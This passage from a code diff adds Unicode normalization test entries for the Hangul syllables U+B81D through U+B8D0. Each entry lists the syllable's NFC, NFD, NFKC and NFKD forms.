+{ source: [0xB81D], NFC: [0xB81D], NFD: [0x1105, 0x1166, 0x11BC], NFKC: [0xB81D], NFKD: [0x1105, 0x1166, 0x11BC] },
+{ source: [0xB81E], NFC: [0xB81E], NFD: [0x1105, 0x1166, 0x11BD], NFKC: [0xB81E], NFKD: [0x1105, 0x1166, 0x11BD] },
+{ source: [0xB81F], NFC: [0xB81F], NFD: [0x1105, 0x1166, 0x11BE], NFKC: [0xB81F], NFKD: [0x1105, 0x1166, 0x11BE] },
+{ source: [0xB820], NFC: [0xB820], NFD: [0x1105, 0x1166, 0x11BF], NFKC: [0xB820], NFKD: [0x1105, 0x1166, 0x11BF] },
+{ source: [0xB821], NFC: [0xB821], NFD: [0x1105, 0x1166, 0x11C0], NFKC: [0xB821], NFKD: [0x1105, 0x1166, 0x11C0] },
+{ source: [0xB822], NFC: [0xB822], NFD: [0x1105, 0x1166, 0x11C1], NFKC: [0xB822], NFKD: [0x1105, 0x1166, 0x11C1] },
+{ source: [0xB823], NFC: [0xB823], NFD: [0x1105, 0x1166, 0x11C2], NFKC: [0xB823], NFKD: [0x1105, 0x1166, 0x11C2] },
+{ source: [0xB824], NFC: [0xB824], NFD: [0x1105, 0x1167], NFKC: [0xB824], NFKD: [0x1105, 0x1167] },
+{ source: [0xB825], NFC: [0xB825], NFD: [0x1105, 0x1167, 0x11A8], NFKC: [0xB825], NFKD: [0x1105, 0x1167, 0x11A8] },
+{ source: [0xB826], NFC: [0xB826], NFD: [0x1105, 0x1167, 0x11A9], NFKC: [0xB826], NFKD: [0x1105, 0x1167, 0x11A9] },
+{ source: [0xB827], NFC: [0xB827], NFD: [0x1105, 0x1167, 0x11AA], NFKC: [0xB827], NFKD: [0x1105, 0x1167, 0x11AA] },
+{ source: [0xB828], NFC: [0xB828], NFD: [0x1105, 0x1167, 0x11AB], NFKC: [0xB828], NFKD: [0x1105, 0x1167, 0x11AB] },
+{ source: [0xB829], NFC: [0xB829], NFD: [0x1105, 0x1167, 0x11AC], NFKC: [0xB829], NFKD: [0x1105, 0x1167, 0x11AC] },
+{ source: [0xB82A], NFC: [0xB82A], NFD: [0x1105, 0x1167, 0x11AD], NFKC: [0xB82A], NFKD: [0x1105, 0x1167, 0x11AD] },
+{ source: [0xB82B], NFC: [0xB82B], NFD: [0x1105, 0x1167, 0x11AE], NFKC: [0xB82B], NFKD: [0x1105, 0x1167, 0x11AE] },
+{ source: [0xB82C], NFC: [0xB82C], NFD: [0x1105, 0x1167, 0x11AF], NFKC: [0xB82C], NFKD: [0x1105, 0x1167, 0x11AF] },
+{ source: [0xB82D], NFC: [0xB82D], NFD: [0x1105, 0x1167, 0x11B0], NFKC: [0xB82D], NFKD: [0x1105, 0x1167, 0x11B0] },
+{ source: [0xB82E], NFC: [0xB82E], NFD: [0x1105, 0x1167, 0x11B1], NFKC: [0xB82E], NFKD: [0x1105, 0x1167, 0x11B1] },
+{ source: [0xB82F], NFC: [0xB82F], NFD: [0x1105, 0x1167, 0x11B2], NFKC: [0xB82F], NFKD: [0x1105, 0x1167, 0x11B2] },
+{ source: [0xB830], NFC: [0xB830], NFD: [0x1105, 0x1167, 0x11B3], NFKC: [0xB830], NFKD: [0x1105, 0x1167, 0x11B3] },
+{ source: [0xB831], NFC: [0xB831], NFD: [0x1105, 0x1167, 0x11B4], NFKC: [0xB831], NFKD: [0x1105, 0x1167, 0x11B4] },
+{ source: [0xB832], NFC: [0xB832], NFD: [0x1105, 0x1167, 0x11B5], NFKC: [0xB832], NFKD: [0x1105, 0x1167, 0x11B5] },
+{ source: [0xB833], NFC: [0xB833], NFD: [0x1105, 0x1167, 0x11B6], NFKC: [0xB833], NFKD: [0x1105, 0x1167, 0x11B6] },
+{ source: [0xB834], NFC: [0xB834], NFD: [0x1105, 0x1167, 0x11B7], NFKC: [0xB834], NFKD: [0x1105, 0x1167, 0x11B7] },
+{ source: [0xB835], NFC: [0xB835], NFD: [0x1105, 0x1167, 0x11B8], NFKC: [0xB835], NFKD: [0x1105, 0x1167, 0x11B8] },
+{ source: [0xB836], NFC: [0xB836], NFD: [0x1105, 0x1167, 0x11B9], NFKC: [0xB836], NFKD: [0x1105, 0x1167, 0x11B9] },
+{ source: [0xB837], NFC: [0xB837], NFD: [0x1105, 0x1167, 0x11BA], NFKC: [0xB837], NFKD: [0x1105, 0x1167, 0x11BA] },
+{ source: [0xB838], NFC: [0xB838], NFD: [0x1105, 0x1167, 0x11BB], NFKC: [0xB838], NFKD: [0x1105, 0x1167, 0x11BB] },
+{ source: [0xB839], NFC: [0xB839], NFD: [0x1105, 0x1167, 0x11BC], NFKC: [0xB839], NFKD: [0x1105, 0x1167, 0x11BC] },
+{ source: [0xB83A], NFC: [0xB83A], NFD: [0x1105, 0x1167, 0x11BD], NFKC: [0xB83A], NFKD: [0x1105, 0x1167, 0x11BD] },
+{ source: [0xB83B], NFC: [0xB83B], NFD: [0x1105, 0x1167, 0x11BE], NFKC: [0xB83B], NFKD: [0x1105, 0x1167, 0x11BE] },
+{ source: [0xB83C], NFC: [0xB83C], NFD: [0x1105, 0x1167, 0x11BF], NFKC: [0xB83C], NFKD: [0x1105, 0x1167, 0x11BF] },
+{ source: [0xB83D], NFC: [0xB83D], NFD: [0x1105, 0x1167, 0x11C0], NFKC: [0xB83D], NFKD: [0x1105, 0x1167, 0x11C0] },
+{ source: [0xB83E], NFC: [0xB83E], NFD: [0x1105, 0x1167, 0x11C1], NFKC: [0xB83E], NFKD: [0x1105, 0x1167, 0x11C1] },
+{ source: [0xB83F], NFC: [0xB83F], NFD: [0x1105, 0x1167, 0x11C2], NFKC: [0xB83F], NFKD: [0x1105, 0x1167, 0x11C2] },
+{ source: [0xB840], NFC: [0xB840], NFD: [0x1105, 0x1168], NFKC: [0xB840], NFKD: [0x1105, 0x1168] },
+{ source: [0xB841], NFC: [0xB841], NFD: [0x1105, 0x1168, 0x11A8], NFKC: [0xB841], NFKD: [0x1105, 0x1168, 0x11A8] },
+{ source: [0xB842], NFC: [0xB842], NFD: [0x1105, 0x1168, 0x11A9], NFKC: [0xB842], NFKD: [0x1105, 0x1168, 0x11A9] },
+{ source: [0xB843], NFC: [0xB843], NFD: [0x1105, 0x1168, 0x11AA], NFKC: [0xB843], NFKD: [0x1105, 0x1168, 0x11AA] },
+{ source: [0xB844], NFC: [0xB844], NFD: [0x1105, 0x1168, 0x11AB], NFKC: [0xB844], NFKD: [0x1105, 0x1168, 0x11AB] },
+{ source: [0xB845], NFC: [0xB845], NFD: [0x1105, 0x1168, 0x11AC], NFKC: [0xB845], NFKD: [0x1105, 0x1168, 0x11AC] },
+{ source: [0xB846], NFC: [0xB846], NFD: [0x1105, 0x1168, 0x11AD], NFKC: [0xB846], NFKD: [0x1105, 0x1168, 0x11AD] },
+{ source: [0xB847], NFC: [0xB847], NFD: [0x1105, 0x1168, 0x11AE], NFKC: [0xB847], NFKD: [0x1105, 0x1168, 0x11AE] },
+{ source: [0xB848], NFC: [0xB848], NFD: [0x1105, 0x1168, 0x11AF], NFKC: [0xB848], NFKD: [0x1105, 0x1168, 0x11AF] },
+{ source: [0xB849], NFC: [0xB849], NFD: [0x1105, 0x1168, 0x11B0], NFKC: [0xB849], NFKD: [0x1105, 0x1168, 0x11B0] },
+{ source: [0xB84A], NFC: [0xB84A], NFD: [0x1105, 0x1168, 0x11B1], NFKC: [0xB84A], NFKD: [0x1105, 0x1168, 0x11B1] },
+{ source: [0xB84B], NFC: [0xB84B], NFD: [0x1105, 0x1168, 0x11B2], NFKC: [0xB84B], NFKD: [0x1105, 0x1168, 0x11B2] },
+{ source: [0xB84C], NFC: [0xB84C], NFD: [0x1105, 0x1168, 0x11B3], NFKC: [0xB84C], NFKD: [0x1105, 0x1168, 0x11B3] },
+{ source: [0xB84D], NFC: [0xB84D], NFD: [0x1105, 0x1168, 0x11B4], NFKC: [0xB84D], NFKD: [0x1105, 0x1168, 0x11B4] },
+{ source: [0xB84E], NFC: [0xB84E], NFD: [0x1105, 0x1168, 0x11B5], NFKC: [0xB84E], NFKD: [0x1105, 0x1168, 0x11B5] },
+{ source: [0xB84F], NFC: [0xB84F], NFD: [0x1105, 0x1168, 0x11B6], NFKC: [0xB84F], NFKD: [0x1105, 0x1168, 0x11B6] },
+{ source: [0xB850], NFC: [0xB850], NFD: [0x1105, 0x1168, 0x11B7], NFKC: [0xB850], NFKD: [0x1105, 0x1168, 0x11B7] },
+{ source: [0xB851], NFC: [0xB851], NFD: [0x1105, 0x1168, 0x11B8], NFKC: [0xB851], NFKD: [0x1105, 0x1168, 0x11B8] },
+{ source: [0xB852], NFC: [0xB852], NFD: [0x1105, 0x1168, 0x11B9], NFKC: [0xB852], NFKD: [0x1105, 0x1168, 0x11B9] },
+{ source: [0xB853], NFC: [0xB853], NFD: [0x1105, 0x1168, 0x11BA], NFKC: [0xB853], NFKD: [0x1105, 0x1168, 0x11BA] },
+{ source: [0xB854], NFC: [0xB854], NFD: [0x1105, 0x1168, 0x11BB], NFKC: [0xB854], NFKD: [0x1105, 0x1168, 0x11BB] },
+{ source: [0xB855], NFC: [0xB855], NFD: [0x1105, 0x1168, 0x11BC], NFKC: [0xB855], NFKD: [0x1105, 0x1168, 0x11BC] },
+{ source: [0xB856], NFC: [0xB856], NFD: [0x1105, 0x1168, 0x11BD], NFKC: [0xB856], NFKD: [0x1105, 0x1168, 0x11BD] },
+{ source: [0xB857], NFC: [0xB857], NFD: [0x1105, 0x1168, 0x11BE], NFKC: [0xB857], NFKD: [0x1105, 0x1168, 0x11BE] },
+{ source: [0xB858], NFC: [0xB858], NFD: [0x1105, 0x1168, 0x11BF], NFKC: [0xB858], NFKD: [0x1105, 0x1168, 0x11BF] },
+{ source: [0xB859], NFC: [0xB859], NFD: [0x1105, 0x1168, 0x11C0], NFKC: [0xB859], NFKD: [0x1105, 0x1168, 0x11C0] },
+{ source: [0xB85A], NFC: [0xB85A], NFD: [0x1105, 0x1168, 0x11C1], NFKC: [0xB85A], NFKD: [0x1105, 0x1168, 0x11C1] },
+{ source: [0xB85B], NFC: [0xB85B], NFD: [0x1105, 0x1168, 0x11C2], NFKC: [0xB85B], NFKD: [0x1105, 0x1168, 0x11C2] },
+{ source: [0xB85C], NFC: [0xB85C], NFD: [0x1105, 0x1169], NFKC: [0xB85C], NFKD: [0x1105, 0x1169] },
+{ source: [0xB85D], NFC: [0xB85D], NFD: [0x1105, 0x1169, 0x11A8], NFKC: [0xB85D], NFKD: [0x1105, 0x1169, 0x11A8] },
+{ source: [0xB85E], NFC: [0xB85E], NFD: [0x1105, 0x1169, 0x11A9], NFKC: [0xB85E], NFKD: [0x1105, 0x1169, 0x11A9] },
+{ source: [0xB85F], NFC: [0xB85F], NFD: [0x1105, 0x1169, 0x11AA], NFKC: [0xB85F], NFKD: [0x1105, 0x1169, 0x11AA] },
+{ source: [0xB860], NFC: [0xB860], NFD: [0x1105, 0x1169, 0x11AB], NFKC: [0xB860], NFKD: [0x1105, 0x1169, 0x11AB] },
+{ source: [0xB861], NFC: [0xB861], NFD: [0x1105, 0x1169, 0x11AC], NFKC: [0xB861], NFKD: [0x1105, 0x1169, 0x11AC] },
+{ source: [0xB862], NFC: [0xB862], NFD: [0x1105, 0x1169, 0x11AD], NFKC: [0xB862], NFKD: [0x1105, 0x1169, 0x11AD] },
+{ source: [0xB863], NFC: [0xB863], NFD: [0x1105, 0x1169, 0x11AE], NFKC: [0xB863], NFKD: [0x1105, 0x1169, 0x11AE] },
+{ source: [0xB864], NFC: [0xB864], NFD: [0x1105, 0x1169, 0x11AF], NFKC: [0xB864], NFKD: [0x1105, 0x1169, 0x11AF] },
+{ source: [0xB865], NFC: [0xB865], NFD: [0x1105, 0x1169, 0x11B0], NFKC: [0xB865], NFKD: [0x1105, 0x1169, 0x11B0] },
+{ source: [0xB866], NFC: [0xB866], NFD: [0x1105, 0x1169, 0x11B1], NFKC: [0xB866], NFKD: [0x1105, 0x1169, 0x11B1] },
+{ source: [0xB867], NFC: [0xB867], NFD: [0x1105, 0x1169, 0x11B2], NFKC: [0xB867], NFKD: [0x1105, 0x1169, 0x11B2] },
+{ source: [0xB868], NFC: [0xB868], NFD: [0x1105, 0x1169, 0x11B3], NFKC: [0xB868], NFKD: [0x1105, 0x1169, 0x11B3] },
+{ source: [0xB869], NFC: [0xB869], NFD: [0x1105, 0x1169, 0x11B4], NFKC: [0xB869], NFKD: [0x1105, 0x1169, 0x11B4] },
+{ source: [0xB86A], NFC: [0xB86A], NFD: [0x1105, 0x1169, 0x11B5], NFKC: [0xB86A], NFKD: [0x1105, 0x1169, 0x11B5] },
+{ source: [0xB86B], NFC: [0xB86B], NFD: [0x1105, 0x1169, 0x11B6], NFKC: [0xB86B], NFKD: [0x1105, 0x1169, 0x11B6] },
+{ source: [0xB86C], NFC: [0xB86C], NFD: [0x1105, 0x1169, 0x11B7], NFKC: [0xB86C], NFKD: [0x1105, 0x1169, 0x11B7] },
+{ source: [0xB86D], NFC: [0xB86D], NFD: [0x1105, 0x1169, 0x11B8], NFKC: [0xB86D], NFKD: [0x1105, 0x1169, 0x11B8] },
+{ source: [0xB86E], NFC: [0xB86E], NFD: [0x1105, 0x1169, 0x11B9], NFKC: [0xB86E], NFKD: [0x1105, 0x1169, 0x11B9] },
+{ source: [0xB86F], NFC: [0xB86F], NFD: [0x1105, 0x1169, 0x11BA], NFKC: [0xB86F], NFKD: [0x1105, 0x1169, 0x11BA] },
+{ source: [0xB870], NFC: [0xB870], NFD: [0x1105, 0x1169, 0x11BB], NFKC: [0xB870], NFKD: [0x1105, 0x1169, 0x11BB] },
+{ source: [0xB871], NFC: [0xB871], NFD: [0x1105, 0x1169, 0x11BC], NFKC: [0xB871], NFKD: [0x1105, 0x1169, 0x11BC] },
+{ source: [0xB872], NFC: [0xB872], NFD: [0x1105, 0x1169, 0x11BD], NFKC: [0xB872], NFKD: [0x1105, 0x1169, 0x11BD] },
+{ source: [0xB873], NFC: [0xB873], NFD: [0x1105, 0x1169, 0x11BE], NFKC: [0xB873], NFKD: [0x1105, 0x1169, 0x11BE] },
+{ source: [0xB874], NFC: [0xB874], NFD: [0x1105, 0x1169, 0x11BF], NFKC: [0xB874], NFKD: [0x1105, 0x1169, 0x11BF] },
+{ source: [0xB875], NFC: [0xB875], NFD: [0x1105, 0x1169, 0x11C0], NFKC: [0xB875], NFKD: [0x1105, 0x1169, 0x11C0] },
+{ source: [0xB876], NFC: [0xB876], NFD: [0x1105, 0x1169, 0x11C1], NFKC: [0xB876], NFKD: [0x1105, 0x1169, 0x11C1] },
+{ source: [0xB877], NFC: [0xB877], NFD: [0x1105, 0x1169, 0x11C2], NFKC: [0xB877], NFKD: [0x1105, 0x1169, 0x11C2] },
+{ source: [0xB878], NFC: [0xB878], NFD: [0x1105, 0x116A], NFKC: [0xB878], NFKD: [0x1105, 0x116A] },
+{ source: [0xB879], NFC: [0xB879], NFD: [0x1105, 0x116A, 0x11A8], NFKC: [0xB879], NFKD: [0x1105, 0x116A, 0x11A8] },
+{ source: [0xB87A], NFC: [0xB87A], NFD: [0x1105, 0x116A, 0x11A9], NFKC: [0xB87A], NFKD: [0x1105, 0x116A, 0x11A9] },
+{ source: [0xB87B], NFC: [0xB87B], NFD: [0x1105, 0x116A, 0x11AA], NFKC: [0xB87B], NFKD: [0x1105, 0x116A, 0x11AA] },
+{ source: [0xB87C], NFC: [0xB87C], NFD: [0x1105, 0x116A, 0x11AB], NFKC: [0xB87C], NFKD: [0x1105, 0x116A, 0x11AB] },
+{ source: [0xB87D], NFC: [0xB87D], NFD: [0x1105, 0x116A, 0x11AC], NFKC: [0xB87D], NFKD: [0x1105, 0x116A, 0x11AC] },
+{ source: [0xB87E], NFC: [0xB87E], NFD: [0x1105, 0x116A, 0x11AD], NFKC: [0xB87E], NFKD: [0x1105, 0x116A, 0x11AD] },
+{ source: [0xB87F], NFC: [0xB87F], NFD: [0x1105, 0x116A, 0x11AE], NFKC: [0xB87F], NFKD: [0x1105, 0x116A, 0x11AE] },
+{ source: [0xB880], NFC: [0xB880], NFD: [0x1105, 0x116A, 0x11AF], NFKC: [0xB880], NFKD: [0x1105, 0x116A, 0x11AF] },
+{ source: [0xB881], NFC: [0xB881], NFD: [0x1105, 0x116A, 0x11B0], NFKC: [0xB881], NFKD: [0x1105, 0x116A, 0x11B0] },
+{ source: [0xB882], NFC: [0xB882], NFD: [0x1105, 0x116A, 0x11B1], NFKC: [0xB882], NFKD: [0x1105, 0x116A, 0x11B1] },
+{ source: [0xB883], NFC: [0xB883], NFD: [0x1105, 0x116A, 0x11B2], NFKC: [0xB883], NFKD: [0x1105, 0x116A, 0x11B2] },
+{ source: [0xB884], NFC: [0xB884], NFD: [0x1105, 0x116A, 0x11B3], NFKC: [0xB884], NFKD: [0x1105, 0x116A, 0x11B3] },
+{ source: [0xB885], NFC: [0xB885], NFD: [0x1105, 0x116A, 0x11B4], NFKC: [0xB885], NFKD: [0x1105, 0x116A, 0x11B4] },
+{ source: [0xB886], NFC: [0xB886], NFD: [0x1105, 0x116A, 0x11B5], NFKC: [0xB886], NFKD: [0x1105, 0x116A, 0x11B5] },
+{ source: [0xB887], NFC: [0xB887], NFD: [0x1105, 0x116A, 0x11B6], NFKC: [0xB887], NFKD: [0x1105, 0x116A, 0x11B6] },
+{ source: [0xB888], NFC: [0xB888], NFD: [0x1105, 0x116A, 0x11B7], NFKC: [0xB888], NFKD: [0x1105, 0x116A, 0x11B7] },
+{ source: [0xB889], NFC: [0xB889], NFD: [0x1105, 0x116A, 0x11B8], NFKC: [0xB889], NFKD: [0x1105, 0x116A, 0x11B8] },
+{ source: [0xB88A], NFC: [0xB88A], NFD: [0x1105, 0x116A, 0x11B9], NFKC: [0xB88A], NFKD: [0x1105, 0x116A, 0x11B9] },
+{ source: [0xB88B], NFC: [0xB88B], NFD: [0x1105, 0x116A, 0x11BA], NFKC: [0xB88B], NFKD: [0x1105, 0x116A, 0x11BA] },
+{ source: [0xB88C], NFC: [0xB88C], NFD: [0x1105, 0x116A, 0x11BB], NFKC: [0xB88C], NFKD: [0x1105, 0x116A, 0x11BB] },
+{ source: [0xB88D], NFC: [0xB88D], NFD: [0x1105, 0x116A, 0x11BC], NFKC: [0xB88D], NFKD: [0x1105, 0x116A, 0x11BC] },
+{ source: [0xB88E], NFC: [0xB88E], NFD: [0x1105, 0x116A, 0x11BD], NFKC: [0xB88E], NFKD: [0x1105, 0x116A, 0x11BD] },
+{ source: [0xB88F], NFC: [0xB88F], NFD: [0x1105, 0x116A, 0x11BE], NFKC: [0xB88F], NFKD: [0x1105, 0x116A, 0x11BE] },
+{ source: [0xB890], NFC: [0xB890], NFD: [0x1105, 0x116A, 0x11BF], NFKC: [0xB890], NFKD: [0x1105, 0x116A, 0x11BF] },
+{ source: [0xB891], NFC: [0xB891], NFD: [0x1105, 0x116A, 0x11C0], NFKC: [0xB891], NFKD: [0x1105, 0x116A, 0x11C0] },
+{ source: [0xB892], NFC: [0xB892], NFD: [0x1105, 0x116A, 0x11C1], NFKC: [0xB892], NFKD: [0x1105, 0x116A, 0x11C1] },
+{ source: [0xB893], NFC: [0xB893], NFD: [0x1105, 0x116A, 0x11C2], NFKC: [0xB893], NFKD: [0x1105, 0x116A, 0x11C2] },
+{ source: [0xB894], NFC: [0xB894], NFD: [0x1105, 0x116B], NFKC: [0xB894], NFKD: [0x1105, 0x116B] },
+{ source: [0xB895], NFC: [0xB895], NFD: [0x1105, 0x116B, 0x11A8], NFKC: [0xB895], NFKD: [0x1105, 0x116B, 0x11A8] },
+{ source: [0xB896], NFC: [0xB896], NFD: [0x1105, 0x116B, 0x11A9], NFKC: [0xB896], NFKD: [0x1105, 0x116B, 0x11A9] },
+{ source: [0xB897], NFC: [0xB897], NFD: [0x1105, 0x116B, 0x11AA], NFKC: [0xB897], NFKD: [0x1105, 0x116B, 0x11AA] },
+{ source: [0xB898], NFC: [0xB898], NFD: [0x1105, 0x116B, 0x11AB], NFKC: [0xB898], NFKD: [0x1105, 0x116B, 0x11AB] },
+{ source: [0xB899], NFC: [0xB899], NFD: [0x1105, 0x116B, 0x11AC], NFKC: [0xB899], NFKD: [0x1105, 0x116B, 0x11AC] },
+{ source: [0xB89A], NFC: [0xB89A], NFD: [0x1105, 0x116B, 0x11AD], NFKC: [0xB89A], NFKD: [0x1105, 0x116B, 0x11AD] },
+{ source: [0xB89B], NFC: [0xB89B], NFD: [0x1105, 0x116B, 0x11AE], NFKC: [0xB89B], NFKD: [0x1105, 0x116B, 0x11AE] },
+{ source: [0xB89C], NFC: [0xB89C], NFD: [0x1105, 0x116B, 0x11AF], NFKC: [0xB89C], NFKD: [0x1105, 0x116B, 0x11AF] },
+{ source: [0xB89D], NFC: [0xB89D], NFD: [0x1105, 0x116B, 0x11B0], NFKC: [0xB89D], NFKD: [0x1105, 0x116B, 0x11B0] },
+{ source: [0xB89E], NFC: [0xB89E], NFD: [0x1105, 0x116B, 0x11B1], NFKC: [0xB89E], NFKD: [0x1105, 0x116B, 0x11B1] },
+{ source: [0xB89F], NFC: [0xB89F], NFD: [0x1105, 0x116B, 0x11B2], NFKC: [0xB89F], NFKD: [0x1105, 0x116B, 0x11B2] },
+{ source: [0xB8A0], NFC: [0xB8A0], NFD: [0x1105, 0x116B, 0x11B3], NFKC: [0xB8A0], NFKD: [0x1105, 0x116B, 0x11B3] },
+{ source: [0xB8A1], NFC: [0xB8A1], NFD: [0x1105, 0x116B, 0x11B4], NFKC: [0xB8A1], NFKD: [0x1105, 0x116B, 0x11B4] },
+{ source: [0xB8A2], NFC: [0xB8A2], NFD: [0x1105, 0x116B, 0x11B5], NFKC: [0xB8A2], NFKD: [0x1105, 0x116B, 0x11B5] },
+{ source: [0xB8A3], NFC: [0xB8A3], NFD: [0x1105, 0x116B, 0x11B6], NFKC: [0xB8A3], NFKD: [0x1105, 0x116B, 0x11B6] },
+{ source: [0xB8A4], NFC: [0xB8A4], NFD: [0x1105, 0x116B, 0x11B7], NFKC: [0xB8A4], NFKD: [0x1105, 0x116B, 0x11B7] },
+{ source: [0xB8A5], NFC: [0xB8A5], NFD: [0x1105, 0x116B, 0x11B8], NFKC: [0xB8A5], NFKD: [0x1105, 0x116B, 0x11B8] },
+{ source: [0xB8A6], NFC: [0xB8A6], NFD: [0x1105, 0x116B, 0x11B9], NFKC: [0xB8A6], NFKD: [0x1105, 0x116B, 0x11B9] },
+{ source: [0xB8A7], NFC: [0xB8A7], NFD: [0x1105, 0x116B, 0x11BA], NFKC: [0xB8A7], NFKD: [0x1105, 0x116B, 0x11BA] },
+{ source: [0xB8A8], NFC: [0xB8A8], NFD: [0x1105, 0x116B, 0x11BB], NFKC: [0xB8A8], NFKD: [0x1105, 0x116B, 0x11BB] },
+{ source: [0xB8A9], NFC: [0xB8A9], NFD: [0x1105, 0x116B, 0x11BC], NFKC: [0xB8A9], NFKD: [0x1105, 0x116B, 0x11BC] },
+{ source: [0xB8AA], NFC: [0xB8AA], NFD: [0x1105, 0x116B, 0x11BD], NFKC: [0xB8AA], NFKD: [0x1105, 0x116B, 0x11BD] },
+{ source: [0xB8AB], NFC: [0xB8AB], NFD: [0x1105, 0x116B, 0x11BE], NFKC: [0xB8AB], NFKD: [0x1105, 0x116B, 0x11BE] },
+{ source: [0xB8AC], NFC: [0xB8AC], NFD: [0x1105, 0x116B, 0x11BF], NFKC: [0xB8AC], NFKD: [0x1105, 0x116B, 0x11BF] },
+{ source: [0xB8AD], NFC: [0xB8AD], NFD: [0x1105, 0x116B, 0x11C0], NFKC: [0xB8AD], NFKD: [0x1105, 0x116B, 0x11C0] },
+{ source: [0xB8AE], NFC: [0xB8AE], NFD: [0x1105, 0x116B, 0x11C1], NFKC: [0xB8AE], NFKD: [0x1105, 0x116B, 0x11C1] },
+{ source: [0xB8AF], NFC: [0xB8AF], NFD: [0x1105, 0x116B, 0x11C2], NFKC: [0xB8AF], NFKD: [0x1105, 0x116B, 0x11C2] },
+{ source: [0xB8B0], NFC: [0xB8B0], NFD: [0x1105, 0x116C], NFKC: [0xB8B0], NFKD: [0x1105, 0x116C] },
+{ source: [0xB8B1], NFC: [0xB8B1], NFD: [0x1105, 0x116C, 0x11A8], NFKC: [0xB8B1], NFKD: [0x1105, 0x116C, 0x11A8] },
+{ source: [0xB8B2], NFC: [0xB8B2], NFD: [0x1105, 0x116C, 0x11A9], NFKC: [0xB8B2], NFKD: [0x1105, 0x116C, 0x11A9] },
+{ source: [0xB8B3], NFC: [0xB8B3], NFD: [0x1105, 0x116C, 0x11AA], NFKC: [0xB8B3], NFKD: [0x1105, 0x116C, 0x11AA] },
+{ source: [0xB8B4], NFC: [0xB8B4], NFD: [0x1105, 0x116C, 0x11AB], NFKC: [0xB8B4], NFKD: [0x1105, 0x116C, 0x11AB] },
+{ source: [0xB8B5], NFC: [0xB8B5], NFD: [0x1105, 0x116C, 0x11AC], NFKC: [0xB8B5], NFKD: [0x1105, 0x116C, 0x11AC] },
+{ source: [0xB8B6], NFC: [0xB8B6], NFD: [0x1105, 0x116C, 0x11AD], NFKC: [0xB8B6], NFKD: [0x1105, 0x116C, 0x11AD] },
+{ source: [0xB8B7], NFC: [0xB8B7], NFD: [0x1105, 0x116C, 0x11AE], NFKC: [0xB8B7], NFKD: [0x1105, 0x116C, 0x11AE] },
+{ source: [0xB8B8], NFC: [0xB8B8], NFD: [0x1105, 0x116C, 0x11AF], NFKC: [0xB8B8], NFKD: [0x1105, 0x116C, 0x11AF] },
+{ source: [0xB8B9], NFC: [0xB8B9], NFD: [0x1105, 0x116C, 0x11B0], NFKC: [0xB8B9], NFKD: [0x1105, 0x116C, 0x11B0] },
+{ source: [0xB8BA], NFC: [0xB8BA], NFD: [0x1105, 0x116C, 0x11B1], NFKC: [0xB8BA], NFKD: [0x1105, 0x116C, 0x11B1] },
+{ source: [0xB8BB], NFC: [0xB8BB], NFD: [0x1105, 0x116C, 0x11B2], NFKC: [0xB8BB], NFKD: [0x1105, 0x116C, 0x11B2] },
+{ source: [0xB8BC], NFC: [0xB8BC], NFD: [0x1105, 0x116C, 0x11B3], NFKC: [0xB8BC], NFKD: [0x1105, 0x116C, 0x11B3] },
+{ source: [0xB8BD], NFC: [0xB8BD], NFD: [0x1105, 0x116C, 0x11B4], NFKC: [0xB8BD], NFKD: [0x1105, 0x116C, 0x11B4] },
+{ source: [0xB8BE], NFC: [0xB8BE], NFD: [0x1105, 0x116C, 0x11B5], NFKC: [0xB8BE], NFKD: [0x1105, 0x116C, 0x11B5] },
+{ source: [0xB8BF], NFC: [0xB8BF], NFD: [0x1105, 0x116C, 0x11B6], NFKC: [0xB8BF], NFKD: [0x1105, 0x116C, 0x11B6] },
+{ source: [0xB8C0], NFC: [0xB8C0], NFD: [0x1105, 0x116C, 0x11B7], NFKC: [0xB8C0], NFKD: [0x1105, 0x116C, 0x11B7] },
+{ source: [0xB8C1], NFC: [0xB8C1], NFD: [0x1105, 0x116C, 0x11B8], NFKC: [0xB8C1], NFKD: [0x1105, 0x116C, 0x11B8] },
+{ source: [0xB8C2], NFC: [0xB8C2], NFD: [0x1105, 0x116C, 0x11B9], NFKC: [0xB8C2], NFKD: [0x1105, 0x116C, 0x11B9] },
+{ source: [0xB8C3], NFC: [0xB8C3], NFD: [0x1105, 0x116C, 0x11BA], NFKC: [0xB8C3], NFKD: [0x1105, 0x116C, 0x11BA] },
+{ source: [0xB8C4], NFC: [0xB8C4], NFD: [0x1105, 0x116C, 0x11BB], NFKC: [0xB8C4], NFKD: [0x1105, 0x116C, 0x11BB] },
+{ source: [0xB8C5], NFC: [0xB8C5], NFD: [0x1105, 0x116C, 0x11BC], NFKC: [0xB8C5], NFKD: [0x1105, 0x116C, 0x11BC] },
+{ source: [0xB8C6], NFC: [0xB8C6], NFD: [0x1105, 0x116C, 0x11BD], NFKC: [0xB8C6], NFKD: [0x1105, 0x116C, 0x11BD] },
+{ source: [0xB8C7], NFC: [0xB8C7], NFD: [0x1105, 0x116C, 0x11BE], NFKC: [0xB8C7], NFKD: [0x1105, 0x116C, 0x11BE] },
+{ source: [0xB8C8], NFC: [0xB8C8], NFD: [0x1105, 0x116C, 0x11BF], NFKC: [0xB8C8], NFKD: [0x1105, 0x116C, 0x11BF] },
+{ source: [0xB8C9], NFC: [0xB8C9], NFD: [0x1105, 0x116C, 0x11C0], NFKC: [0xB8C9], NFKD: [0x1105, 0x116C, 0x11C0] },
+{ source: [0xB8CA], NFC: [0xB8CA], NFD: [0x1105, 0x116C, 0x11C1], NFKC: [0xB8CA], NFKD: [0x1105, 0x116C, 0x11C1] },
+{ source: [0xB8CB], NFC: [0xB8CB], NFD: [0x1105, 0x116C, 0x11C2], NFKC: [0xB8CB], NFKD: [0x1105, 0x116C, 0x11C2] },
+{ source: [0xB8CC], NFC: [0xB8CC], NFD: [0x1105, 0x116D], NFKC: [0xB8CC], NFKD: [0x1105, 0x116D] },
+{ source: [0xB8CD], NFC: [0xB8CD], NFD: [0x1105, 0x116D, 0x11A8], NFKC: [0xB8CD], NFKD: [0x1105, 0x116D, 0x11A8] },
+{ source: [0xB8CE], NFC: [0xB8CE], NFD: [0x1105, 0x116D, 0x11A9], NFKC: [0xB8CE], NFKD: [0x1105, 0x116D, 0x11A9] },
+{ source: [0xB8CF], NFC: [0xB8CF], NFD: [0x1105, 0x116D, 0x11AA], NFKC: [0xB8CF], NFKD: [0x1105, 0x116D, 0x11AA] },
+{ source: [0xB8D0], NFC: [0xB8D0], NFD: [0x1105, 0x116D, 0x11AB], NFKC: [0xB8D0], NFKD: [0x1105, 0x116D, 0x11AB] },
